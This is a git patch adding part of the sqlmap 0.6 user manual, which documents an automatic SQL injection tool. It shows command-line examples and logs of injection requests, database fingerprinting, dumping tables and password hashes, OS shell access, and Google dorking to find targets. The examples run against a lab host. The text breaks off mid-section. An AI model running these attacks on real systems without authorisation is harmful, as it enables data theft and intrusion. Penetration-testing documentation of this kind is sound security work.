From 8e3eb4551091373b631462caf66448dd71ec61ef Mon Sep 17 00:00:00 2001
From: Bernardo Damele
+
+
+
+
+
+
+ sqlmap is an automatic
+SQL injection tool. Its goal is to detect and take advantage of
+SQL injection vulnerabilities on web applications. Once it detects one or
+more SQL injections on the target host, the user can choose among a
+variety of options to perform an extensive back-end database management
+system fingerprint, retrieve DBMS session user and database, enumerate
+users, password hashes, privileges, databases, dump entire or user's
+specific DBMS tables/columns, run his own SQL sqlmap is developed in
+Python,
+a dynamic object-oriented interpreted programming language.
+This makes the tool independent from the operating system since it only
+requires the Python interpreter.
+The interpreter is freely downloadable from its
+official site.
+To make it even easier, many GNU/Linux distributions come out of the box
+with Python interpreter package installed and other Unices and MacOS X
+too provide it packaged in their formats and ready to be installed.
+Windows users can download and install the Python setup-ready installer
+for x86, AMD64 and Itanium too. Optionally, if you are running sqlmap on Windows, you may wish to install
+PyReadline
+to be able to take advantage of the sqlmap TAB completion and history
+support functionalities in the SQL shell and OS shell.
+Note that these functionalities are available natively by Python official
+readline library on other operating systems. Let's say that you are auditing a web application and found a web page
+that accepts dynamic user-provided values on Consider that the target url is:
+sqlmap user's manual
+
+by
+Bernardo Damele A. G.
version 0.6, 1st of September 2008
+
+This document is the user's manual to use
+sqlmap.
+Check the project
+homepage
+for the latest version.
+
+1. Introduction
+
+
+
+2. Features
+
+3. Download and update
+
+4. License and copyright
+
+5. Usage
+
+
+
+6. Disclaimer
+
+7. Authors
+
+
+
+1. Introduction
+
+SELECT
statement,
+read specific files on the file system and much more.1.1 Requirements
+
+
+1.2 Scenario
+
+
+GET
or POST
+parameters or HTTP Cookie
values or HTTP User-Agent
+header value.
+You now want to test if these are affected by a SQL injection
+vulnerability, and if so, exploit them to retrieve as much information as
+possible out of the web application's back-end database management system
+or even be able to access the underlying operating system.
+
+
http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2
+
Assume that:
++
+http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=1&cat=2
+
+
+is the same page as the original one and:
++
+http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=2&cat=2
+
+
+differs from the original one, it means that you are in front of a SQL
+injection vulnerability in the id
GET
parameter of the
+index.php
web application page which means that no IDS/IPS, no
+web application firewall, no parameters' value sanitization is performed
+on the server-side.
This is a quite common flaw in dynamic content web applications and it +does not depend upon the back-end database management system nor on the web +application programming language: it is a programmer code's security flaw. +The +Open Web Application Security Project +recently rated in their +OWASP Top Ten survey this vulnerability as the +most common and important web application vulnerability, second only to +Cross-Site Scripting.
+Back to the scenario, probably the SQL SELECT
statemenet into
+index.php
has a syntax similar to the following SQL query, in
+pseudo PHP code:
+
+$query = "SELECT [column(s) name] FROM [table name] WHERE id=" . $_REQUEST['id'];
+
+
+As you can see, appending any other syntatically valid SQL condition after
+a value for id
such condition will take place when the web
+application passes the query to the back-end database management system
+that executes it, that is why the condition id=1 AND 1=1
is valid
+(True) and returns the same page as the original one, with the
+same content and without showing any SQL error message.
Moreover, in this simple and easy to inject scenario it would be also
+possible to append, not just one or more valid SQL condition(s), but also
+stacked SQL queries, for instance something like [...]&id=1;
+ANOTHER SQL QUERY--
Now that you found this SQL injection vulnerable parameter, you can
+exploit it by manipulating the id
parameter value in the HTTP
+request.
There exist many +resources +on the Net explaining in depth how to prevent and how to exploit SQL +injection vulnerabilities and it is recommended to read them if you are +not familiar with the issue before going ahead with sqlmap.
+Passing the original address, http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2
+to sqlmap, the tool will automatically:
+
id
in this scenario);sqlmap implements two techniques to exploit a SQL injection vulnerability:
++
SELECT
sub-statement, or any other SQL statement whose the user
+want to retrieve the output.
+For each HTTP response, by making a comparison based upon HTML page
+content hashes, or string matches, with the original request, the tool
+determines the output value of the statement character by character.
+The bisection algorithm implemented in sqlmap to perform this technique
+is able to fetch each output character with at maximum seven HTTP
+requests.
+This is sqlmap default SQL injection technique.UNION ALL SELECT
. This techique is useful if the web application
+page passes the output of the SELECT
statement to a for
+cycle, or similar, so that each line of the query output is printed on the
+page content.
+This technique is much faster if the target url is affected by because
+in a single HTTP response it returns the whole query output within the
+page content.
+This SQL injection technique is an alternative to the first one.It is strongly recommended to run at least once sqlmap with the
+--union-test
option to test if the affected parameter is used
+within a for
cycle, or similar, and in case use
+--union-use
option to exploit this vulnerability because it
+saves a lot of time and it does not weight down the web server log file
+with hundreds of HTTP requests.
Major features implemented in sqlmap include:
++
SELECT
statement.SELECT
statement syntax to
+perform further injections with. It is also possible to specify the
+parameter(s) that you want to perform tests and use for injection on.Cookie
header string support, useful when the
+web application requires authentication based upon cookies and you have
+such data or in case you just want to test for and exploit SQL injection
+on such header.Set-Cookie
header from
+target url, re-establishing of the session if it expires. Test and exploit
+on these values is supported too.Referer
header value and
+the HTTP User-Agent
header value specified by user or
+randomly selected from a text file.magic_quotes_gpc
bypass by encoding
+every query string, between single quotes, with CHAR
, or similar,
+database management system function.sqlmap can be downloaded from its +SourceForge File List page. +It is available in various formats:
++
Whatever way you downloaded sqlmap, run it with --update
+option to update it to the latest stable version available on its
+SourceForge File List page.
sqlmap is released under the terms of the +General Public License v2. +sqlmap is copyrighted by +Bernardo Damele A. G. +and +Daniele Bellucci.
+ + ++
+
+$ python sqlmap.py -h
+
+ sqlmap/0.6 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
+ and Daniele Bellucci <daniele.bellucci@gmail.com>
+
+Usage: sqlmap.py [options] {-u <URL> | -g <google dork> | -c <config file>}
+
+Options:
+ --version show program's version number and exit
+ -h, --help show this help message and exit
+
+ Request:
+ These options have to be specified to set the target url, HTTP method,
+ how to connect to the target url or Google dorking results in general.
+
+ -u URL, --url=URL Target url
+ -g GOOGLEDORK Process Google dork results as target urls
+ -p TESTPARAMETER Testable parameter(s)
+ --method=METHOD HTTP method, GET or POST (default: GET)
+ --data=DATA Data string to be sent through POST
+ --cookie=COOKIE HTTP Cookie header
+ --referer=REFERER HTTP Referer header
+ --user-agent=AGENT HTTP User-Agent header
+ -a USERAGENTSFILE Load a random HTTP User-Agent header from file
+ --auth-type=ATYPE HTTP Authentication type, value: Basic or Digest
+ --auth-cred=ACRED HTTP Authentication credentials, value: name:password
+ --proxy=PROXY Use a HTTP proxy to connect to the target url
+ --threads=THREADS Maximum number of concurrent HTTP requests (default 1)
+
+ Injection:
+ --string=STRING String to match in page when the query is valid
+ --dbms=DBMS Force back-end DBMS to this value
+
+ Fingerprint:
+ -f, --fingerprint Perform an extensive database fingerprint
+
+ Enumeration:
+ These options can be used to enumerate the back-end database
+ management system information, structure and data contained in the
+ tables. Moreover you can run your own SQL SELECT queries.
+
+ -b, --banner Retrieve DBMS banner
+ --current-user Retrieve DBMS current user
+ --current-db Retrieve DBMS current database
+ --users Enumerate DBMS users
+ --passwords Enumerate DBMS users password hashes (opt: -U)
+ --privileges Enumerate DBMS users privileges (opt: -U)
+ --dbs Enumerate DBMS databases
+ --tables Enumerate DBMS database tables (opt: -D)
+ --columns Enumerate DBMS database table columns (req: -T, -D)
+ --dump Dump DBMS database table entries (req: -T, -D opt: -C)
+ --dump-all Dump all DBMS databases tables entries
+ -D DB DBMS database to enumerate
+ -T TBL DBMS database table to enumerate
+ -C COL DBMS database table column to enumerate
+ -U USER DBMS user to enumerate
+ --exclude-sysdbs Exclude DBMS system databases when enumerating tables
+ --sql-query=QUERY SQL SELECT query to be executed
+ --sql-shell Prompt for an interactive SQL shell
+
+ File system access:
+ These options can be used to access the back-end database management
+ system file system taking advantage of native DBMS functions or
+ specific DBMS design weaknesses.
+
+ --read-file=RFILE Read a specific OS file content (only on MySQL)
+ --write-file=WFILE Write to a specific OS file (not yet available)
+
+ Operating system access:
+ This option can be used to access the back-end database management
+ system operating system taking advantage of specific DBMS design
+ weaknesses.
+
+ --os-shell Prompt for an interactive OS shell (only on PHP/MySQL
+ environment with a writable directory within the web
+ server document root for the moment)
+
+ Miscellaneous:
+ --union-test Test for UNION SELECT (inband) SQL injection
+ --union-use Use the UNION SELECT (inband) SQL injection to
+ retrieve the queries output. No need to go blind
+ --eta Retrieve each query output length and calculate the
+ estimated time of arrival in real time
+ -v VERBOSE Verbosity level: 0-5 (default 0)
+ --update Update sqlmap to the latest stable version
+ -s SESSIONFILE Save and resume all data retrieved on a session file
+ -c CONFIGFILE Load options from a configuration INI file
+ --save Save options on a configuration INI file
+
+
+
+
+
+Option: -u
or --url
To run sqlmap on a single target URL.
+ +Example on a MySQL 5.0.51 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2"
+
+[...]
+back-end DBMS: MySQL >= 5.0.0
+
+
+
+
+
+Option: -v
Verbose options can be used to set the verbosity level of output messages. +There exist six levels. +The default level is 0 (silent) in which only warnings, errors and +tracebacks, if they occur, will be shown. Level 1 shows also info +messages, level 2 show also debug messages, level 3 show also HTTP +requests with all HTTP headers sent, level 4 show also HTTP responses +headers and level 5 show also HTTP responses page content.
+ +Example on a MySQL 5.0.51 target (verbosity level 1):
++
+
+$ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 1
+
+[hh:mm:01] [INFO] testing connection to the target url
+[hh:mm:01] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:02] [INFO] url is stable
+[hh:mm:02] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
+[hh:mm:02] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
+[hh:mm:02] [INFO] testing if GET parameter 'id' is dynamic
+[hh:mm:02] [INFO] confirming that GET parameter 'id' is dynamic
+[hh:mm:02] [INFO] GET parameter 'id' is dynamic
+[hh:mm:02] [INFO] testing sql injection on GET parameter 'id'
+[hh:mm:02] [INFO] testing numeric/unescaped injection on GET parameter 'id'
+[hh:mm:02] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
+[hh:mm:02] [INFO] GET parameter 'id' is numeric/unescaped injectable
+[hh:mm:02] [INFO] testing if GET parameter 'cat' is dynamic
+[hh:mm:02] [WARNING] GET parameter 'cat' is not dynamic
+[hh:mm:02] [INFO] testing for parenthesis on injectable parameter
+[hh:mm:02] [INFO] the injectable parameter requires 0 parenthesis
+[hh:mm:02] [INFO] testing MySQL
+[hh:mm:02] [INFO] query: CONCAT(CHAR(53), CHAR(53))
+[hh:mm:02] [INFO] retrieved: 55
+[hh:mm:02] [INFO] performed 20 queries in 0 seconds
+[hh:mm:02] [INFO] confirming MySQL
+[hh:mm:02] [INFO] query: LENGTH(CHAR(53))
+[hh:mm:02] [INFO] retrieved: 1
+[hh:mm:02] [INFO] performed 13 queries in 0 seconds
+[hh:mm:02] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT 0, 1
+[hh:mm:02] [INFO] retrieved: 5
+[hh:mm:02] [INFO] performed 13 queries in 0 seconds
+back-end DBMS: MySQL >= 5.0.0
+
+
+
+
+Example on a MySQL 5.0.51 target (verbosity level 2):
++
+
+$ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 2
+
+[hh:mm:34] [DEBUG] initializing the configuration
+[hh:mm:34] [DEBUG] initializing the knowledge base
+[hh:mm:34] [DEBUG] cleaning up configuration parameters
+[hh:mm:34] [DEBUG] setting the HTTP method to perform HTTP requests through
+[hh:mm:34] [DEBUG] creating HTTP requests opener object
+[hh:mm:34] [DEBUG] parsing XML queries file
+[hh:mm:34] [INFO] testing connection to the target url
+[hh:mm:34] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:35] [INFO] url is stable
+[hh:mm:35] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
+[hh:mm:35] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
+[hh:mm:35] [INFO] testing if GET parameter 'id' is dynamic
+[...]
+
+
+
+
+Example on a MySQL 5.0.51 target (verbosity level 3):
++
+
+$ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 3
+
+[...]
+[hh:mm:28] [INFO] testing connection to the target url
+[hh:mm:28] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+[...]
+[hh:mm:29] [INFO] testing MySQL
+[hh:mm:29] [INFO] query: CONCAT(CHAR(52), CHAR(52))
+[hh:mm:29] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20
+CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%207994=7994&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+[...]
+
+
+
+
+Example on a MySQL 5.0.51 target (verbosity level 4):
++
+
+$ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 4
+
+[...]
+[hh:mm:32] [INFO] testing connection to the target url
+[hh:mm:32] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:32] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Thu, 24 Jul 2008 14:00:32 GMT
+Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
+OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
+X-Powered-By: PHP/5.2.4-2ubuntu5.2
+Content-Length: 127
+Connection: close
+Content-Type: text/html
+[...]
+[hh:mm:33] [INFO] testing MySQL
+[hh:mm:33] [INFO] query: CONCAT(CHAR(52), CHAR(52))
+[hh:mm:33] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20
+CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%204435=4435&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:33] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Thu, 24 Jul 2008 14:00:33 GMT
+Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
+OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
+X-Powered-By: PHP/5.2.4-2ubuntu5.2
+Content-Length: 75
+Connection: close
+Content-Type: text/html
+[...]
+
+
+
+
+Example on a MySQL 5.0.51 target (verbosity level 5):
++
+
+$ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 5
+
+[...]
+[hh:mm:23] [INFO] testing connection to the target url
+[hh:mm:23] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:23] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Thu, 24 Jul 2008 14:02:23 GMT
+Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
+OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
+X-Powered-By: PHP/5.2.4-2ubuntu5.2
+Content-Length: 127
+Connection: close
+Content-Type: text/html
+
+<html><body>
+<b>SQL results:</b>
+<table border="1">
+<tr><td>1</td><td>luther</td><td>blissett</td></tr>
+</table>
+</body></html>
+[...]
+[hh:mm:24] [INFO] testing MySQL
+[hh:mm:24] [INFO] query: CONCAT(CHAR(51), CHAR(51))
+[hh:mm:24] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2851%29%2C%20
+CHAR%2851%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%201855=1855&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:24] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Thu, 24 Jul 2008 14:02:24 GMT
+Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
+OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
+X-Powered-By: PHP/5.2.4-2ubuntu5.2
+Content-Length: 75
+Connection: close
+Content-Type: text/html
+
+<html><body>
+<b>SQL results:</b>
+<table border="1">
+</table>
+</body></html>
+[...]
+
+
+
+
+
+Option: -g
Rather than providing a target URL it is also possible to test and inject
+on GET
parameters on the results of your Google dork.
This option makes sqlmap negotiate with the search engine its session
+cookie to be able to perform a search, then sqlmap will retrieve Google
+first 100 results for the Google dork expression with GET
parameters
+asking you if you want to test and inject on each possible affected URL.
Example of Google dorking with expression site:yourdomain.com
+inurl:example.php
:
+
+
+$ python sqlmap.py -g "site:yourdomain.com inurl:example.php" -v 1
+
+[hh:mm:38] [INFO] first request to Google to get the session cookie
+[hh:mm:40] [INFO] sqlmap got 65 results for your Google dork expression, 59 of them are
+testable hosts
+[hh:mm:40] [INFO] url 1: http://yourdomain.com/example.php?id=12, do you want to test this
+url? [y/N/q] n
+[hh:mm:43] [INFO] url 3: http://yourdomain.com/example.php?id=24, do you want to test this
+url? [y/N/q] n
+[hh:mm:42] [INFO] url 2: http://thirdlevel.yourdomain.com/news/example.php?today=483, do you
+want to test this url? [y/N/q] y
+[hh:mm:44] [INFO] testing url http://thirdlevel.yourdomain.com/news/example.php?today=483
+[hh:mm:45] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:49] [INFO] url is stable
+[hh:mm:50] [INFO] testing if GET parameter 'today' is dynamic
+[hh:mm:51] [INFO] confirming that GET parameter 'today' is dynamic
+[hh:mm:53] [INFO] GET parameter 'today' is dynamic
+[hh:mm:54] [INFO] testing sql injection on GET parameter 'today'
+[hh:mm:56] [INFO] testing numeric/unescaped injection on GET parameter 'today'
+[hh:mm:57] [INFO] confirming numeric/unescaped injection on GET parameter 'today'
+[hh:mm:58] [INFO] GET parameter 'today' is numeric/unescaped injectable
+[...]
+
+
+
+
+
+Option: -p
By default sqlmap tests all GET
parameters, POST
+parameters, HTTP Cookie
header values and HTTP User-Agent
+header value for dynamicity and SQL injection vulnerability, but it is
+possible to manually specificy the parameter(s) you want sqlmap to perform
+tests on comma separeted in order to skip dynamicity tests and perform SQL
+injection test and inject directly only against the provided parameter(s).
Example on a PostgreSQL 8.2.7 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 \
+ -p id
+
+[hh:mm:48] [INFO] testing connection to the target url
+[hh:mm:48] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:49] [INFO] url is stable
+[hh:mm:49] [INFO] testing if GET parameter 'id' is dynamic
+[hh:mm:49] [INFO] confirming that GET parameter 'id' is dynamic
+[hh:mm:49] [INFO] GET parameter 'id' is dynamic
+[hh:mm:49] [INFO] testing sql injection on GET parameter 'id'
+[hh:mm:49] [INFO] testing numeric/unescaped injection on GET parameter 'id'
+[hh:mm:49] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
+[hh:mm:49] [INFO] GET parameter 'id' is numeric/unescaped injectable
+[hh:mm:49] [INFO] testing for parenthesis on injectable parameter
+[hh:mm:49] [INFO] the injectable parameter requires 0 parenthesis
+[...]
+
+
+
+
+Or, if you want to provide more than one parameter, for instance:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 \
+ -p "cat,id"
+
+
+
+
+You can also test only the HTTP User-Agent
header.
Example on a MySQL 5.0.51 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 \
+ -p user-agent --user-agent "sqlmap/0.6 (http://sqlmap.sourceforge.net)"
+
+[hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is not into the GET
+[hh:mm:40] [INFO] testing connection to the target url
+[hh:mm:40] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:41] [INFO] url is stable
+[hh:mm:41] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
+[hh:mm:41] [INFO] confirming that User-Agent parameter 'User-Agent' is dynamic
+[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is dynamic
+[hh:mm:41] [INFO] testing sql injection on User-Agent parameter 'User-Agent'
+[hh:mm:41] [INFO] testing numeric/unescaped injection on User-Agent parameter 'User-Agent'
+[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is not numeric/unescaped injectable
+[hh:mm:41] [INFO] testing string/single quote injection on User-Agent parameter 'User-Agent'
+[hh:mm:41] [INFO] confirming string/single quote injection on User-Agent parameter 'User-Agent'
+[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is string/single quote injectable
+[hh:mm:41] [INFO] testing for parenthesis on injectable parameter
+[hh:mm:41] [INFO] the injectable parameter requires 0 parenthesis
+[hh:mm:41] [INFO] testing MySQL
+[hh:mm:41] [INFO] query: CONCAT(CHAR(52), CHAR(52))
+[hh:mm:41] [INFO] retrieved: 44
+[hh:mm:41] [INFO] performed 20 queries in 0 seconds
+[hh:mm:41] [INFO] confirming MySQL
+[hh:mm:41] [INFO] query: LENGTH(CHAR(52))
+[hh:mm:41] [INFO] retrieved: 1
+[hh:mm:41] [INFO] performed 13 queries in 0 seconds
+[hh:mm:41] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1
+[hh:mm:41] [INFO] retrieved: 4
+[hh:mm:41] [INFO] performed 13 queries in 0 seconds
+back-end DBMS: MySQL >= 5.0.0
+
+
+
+
+
+GET
or POST
Options: --method
and --data
By default the HTTP method used to perform HTTP requests is GET
,
+but you can change it to POST
and provide the data to be sent
+through POST
request. Such data, being those parameters, are
+tested for SQL injection like the GET
parameters.
Example on an Oracle XE 10.2.0.1 target:
++
+
+$ python sqlmap.py -u http://192.168.1.121/sqlmap/oracle/post_int.php --method POST \
+ --data "id=1&cat=2"
+
+[hh:mm:53] [INFO] testing connection to the target url
+[hh:mm:53] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:54] [INFO] url is stable
+[hh:mm:54] [INFO] testing if POST parameter 'id' is dynamic
+[hh:mm:54] [INFO] confirming that POST parameter 'id' is dynamic
+[hh:mm:54] [INFO] POST parameter 'id' is dynamic
+[hh:mm:54] [INFO] testing sql injection on POST parameter 'id'
+[hh:mm:54] [INFO] testing numeric/unescaped injection on POST parameter 'id'
+[hh:mm:54] [INFO] confirming numeric/unescaped injection on POST parameter 'id'
+[hh:mm:54] [INFO] POST parameter 'id' is numeric/unescaped injectable
+[hh:mm:54] [INFO] testing if POST parameter 'cat' is dynamic
+[hh:mm:54] [WARNING] POST parameter 'cat' is not dynamic
+[...]
+[hh:mm:54] [INFO] testing Oracle
+[hh:mm:54] [INFO] query: LENGTH(SYSDATE)
+[hh:mm:54] [INFO] retrieved: 9
+[hh:mm:54] [INFO] performed 13 queries in 0 seconds
+[hh:mm:54] [INFO] confirming Oracle
+[hh:mm:54] [INFO] query: SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1
+[hh:mm:54] [INFO] retrieved: 10.2.0.1.0
+[hh:mm:55] [INFO] performed 76 queries in 0 seconds
+back-end DBMS: Oracle
+
+
+
+
+
+Cookie
headerOption: --cookie
This feature can be useful in two scenarios:
++
The steps to go through in the second scenario are the following:
++
Cookie
value, then click on Copy
to save its
+value to the clipboard.Example on a Microsoft SQL Server 2000 Service Pack 0 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/cookie_int.php" --cookie \
+ "id=1;cat=2" -v 1
+
+[hh:mm:37] [INFO] testing connection to the target url
+[hh:mm:37] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:38] [INFO] url is stable
+[hh:mm:38] [INFO] testing if Cookie parameter 'id' is dynamic
+[hh:mm:38] [INFO] confirming that Cookie parameter 'id' is dynamic
+[hh:mm:38] [INFO] Cookie parameter 'id' is dynamic
+[hh:mm:38] [INFO] testing sql injection on Cookie parameter 'id'
+[hh:mm:38] [INFO] testing numeric/unescaped injection on Cookie parameter 'id'
+[hh:mm:38] [INFO] confirming numeric/unescaped injection on Cookie parameter 'id'
+[hh:mm:38] [INFO] Cookie parameter 'id' is numeric/unescaped injectable
+[...]
+
+
+
+
+Note that the HTTP Cookie
header values are separated by a
+;
character, not by an &
.
If the web application at first HTTP response has within the HTTP headers
+a Set-Cookie
header, sqlmap will automatically use it in all HTTP
+requests as the HTTP Cookie
header and also test for SQL
+injection on these values.
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.125/sqlmap/get_str.asp?name=luther" -v 3
+
+[...]
+[hh:mm:39] [INFO] testing connection to the target url
+[hh:mm:39] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/get_str.asp?name=luther HTTP/1.1
+Host: 192.168.1.125:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Cookie: ASPSESSIONIDSABTRCAS=HPCBGONANJBGFJFHGOKDMCGJ
+Connection: close
+
+[...]
+[hh:mm:40] [INFO] url is stable
+[...]
+[hh:mm:40] [INFO] testing if Cookie parameter 'ASPSESSIONIDSABTRCAS' is dynamic
+[hh:mm:40] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/get_str.asp?name=luther HTTP/1.1
+Host: 192.168.1.125:80
+Cookie: ASPSESSIONIDSABTRCAS=469
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:40] [WARNING] Cookie parameter 'ASPSESSIONIDSABTRCAS' is not dynamic
+[...]
+
+
+
+
+If you provide an HTTP Cookie
header value and the target URL
+sends an HTTP Set-Cookie
header, sqlmap asks you which one to use
+in the following HTTP requests.
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.125/sqlmap/get_str.asp?name=luther" --cookie "id=1"
+
+[hh:mm:51] [INPUT] you provided an HTTP Cookie header value. The target url provided its
+own Cookie within the HTTP Set-Cookie header. Do you want to continue using the HTTP cookie
+values that you provided? [Y/n]
+
+
+
+
+
+Referer
headerOption: --referer
It is possible to fake the HTTP Referer
header value with this
+option. By default no HTTP Referer
heder is sent in HTTP
+requests.
Example on a PostgreSQL 8.2.7 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --referer \
+ "http://www.google.com" -v 3
+
+[...]
+[hh:mm:48] [INFO] testing connection to the target url
+[hh:mm:48] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/pgsql/get_int.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+Referer: http://www.google.com
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+[...]
+
+
+
+
+
+User-Agent
headerOptions: --user-agent
and -a
By default sqlmap perform HTTP requests providing the following HTTP
+User-Agent
header value:
+
+
+sqlmap/0.6 (http://sqlmap.sourceforge.net)
+
+
+
+
+It is possible to fake it with the --user-agent
option.
Example on an Oracle XE 10.2.0.1 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" \
+ --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3
+
+[...]
+[hh:mm:02] [INFO] testing connection to the target url
+[hh:mm:02] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/oracle/get_int.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
+Connection: close
+[...]
+
+
+
+
+Providing a text file, ./txt/user-agents.txt
or any other
+file containing a list of at least one user agent, to the -a
+option, sqlmap will randomly select a User-Agent
from the file
+and use it for all HTTP requests.
Example on a MySQL 5.0.51 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 \
+ -a "./txt/user-agents.txt"
+
+[hh:mm:00] [DEBUG] initializing the configuration
+[hh:mm:00] [DEBUG] initializing the knowledge base
+[hh:mm:00] [DEBUG] cleaning up configuration parameters
+[hh:mm:00] [DEBUG] fetching random HTTP User-Agent header from file './txt/user-agents.txt'
+[hh:mm:00] [INFO] fetched random HTTP User-Agent header from file './txt/user-agents.txt':
+Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)
+[hh:mm:00] [DEBUG] setting the HTTP method to perform HTTP requests through
+[hh:mm:00] [DEBUG] creating HTTP requests opener object
+[hh:mm:00] [DEBUG] parsing XML queries file
+[hh:mm:00] [INFO] testing connection to the target url
+[hh:mm:00] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)
+Connection: close
+[...]
+
+
+
+
+Note that the HTTP User-Agent
header is tested against SQL
+injection even if you do not overwrite the default sqlmap HTTP
+User-Agent
header value.
Basic
and Digest
authenticationsOptions: --auth-type
and --auth-cred
These options can be used to specify which HTTP authentication type the
